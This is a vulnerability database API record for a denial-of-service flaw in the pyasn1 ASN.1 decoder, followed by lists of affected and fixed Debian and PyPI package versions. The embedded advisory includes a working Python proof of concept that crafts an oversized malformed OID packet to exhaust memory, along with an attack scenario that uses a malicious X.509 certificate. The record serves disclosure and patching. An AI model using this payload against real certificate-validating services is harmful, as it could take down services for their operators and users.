Vulnerability Instance
Lookup for vulnerabilities affecting packages.
GET /api/vulnerabilities/20254?format=api
{ "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20254?format=api", "vulnerability_id": "VCID-bptp-5gn6-eucd", "summary": "pyasn1 has a DoS vulnerability in decoder\n### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n length_bytes = bytes([length])\nelif length < 256:\n length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f'[+] Decoded successfully')\n print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n # Try to convert to string\n print('[*] Converting to string...')\n try:\n str_result = str(result[0])\n print(f'[+] String succeeded: {len(str_result)} chars')\n if len(str_result) > 10000:\n print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n except MemoryError:\n print(f'[-] MemoryError during string conversion!')\n except Exception as e:\n print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n '0': 10.1%\n '1': 9.9%\n '2': 10.0%\n '3': 9.9%\n '4': 9.9%\n '5': 10.0%\n '6': 10.0%\n '7': 10.0%\n '8': 9.9%\n '9': 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.", "aliases": [ { "alias": "CVE-2026-23490" }, { "alias": "GHSA-63vm-454h-vhhq" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/936081?format=api", "purl": "pkg:deb/debian/pyasn1@0.4.8-1?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.4.8-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/936082?format=api", "purl": "pkg:deb/debian/pyasn1@0.4.8-1%2Bdeb11u1?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.4.8-1%252Bdeb11u1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/936079?format=api", "purl": "pkg:deb/debian/pyasn1@0.4.8-3?distro=trixie", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.4.8-3%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/1026210?format=api", "purl": "pkg:deb/debian/pyasn1@0.4.8-3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.4.8-3" }, { "url": "http://public2.vulnerablecode.io/api/packages/936080?format=api", "purl": "pkg:deb/debian/pyasn1@0.4.8-3%2Bdeb12u1?distro=trixie", "is_vulnerable": false, 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"affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.6.3-1%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/61752?format=api", "purl": "pkg:pypi/pyasn1@0.6.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/pyasn1@0.6.2" } ], "affected_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/1054530?format=api", "purl": "pkg:deb/debian/pyasn1@0.0.5a-2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.0.5a-2" }, { "url": "http://public2.vulnerablecode.io/api/packages/1054531?format=api", "purl": "pkg:deb/debian/pyasn1@0.0.8a-1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.0.8a-1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1054532?format=api", "purl": "pkg:deb/debian/pyasn1@0.0.11a-1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.0.11a-1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1054533?format=api", "purl": "pkg:deb/debian/pyasn1@0.1.3-1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.1.3-1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1054534?format=api", "purl": "pkg:deb/debian/pyasn1@0.1.7-1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.1.7-1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1054535?format=api", "purl": "pkg:deb/debian/pyasn1@0.1.9-1~bpo8%2B1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/pyasn1@0.1.9-1~bpo8%252B1" }, { "url": "http://public2.vulnerablecode.io/api/packages/1054536?format=api", "purl": "pkg:deb/debian/pyasn1@0.1.9-2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-bptp-5gn6-eucd" }, { "vulnerability": "VCID-kth3-bvbt-gbgk" } ], "resource_url": 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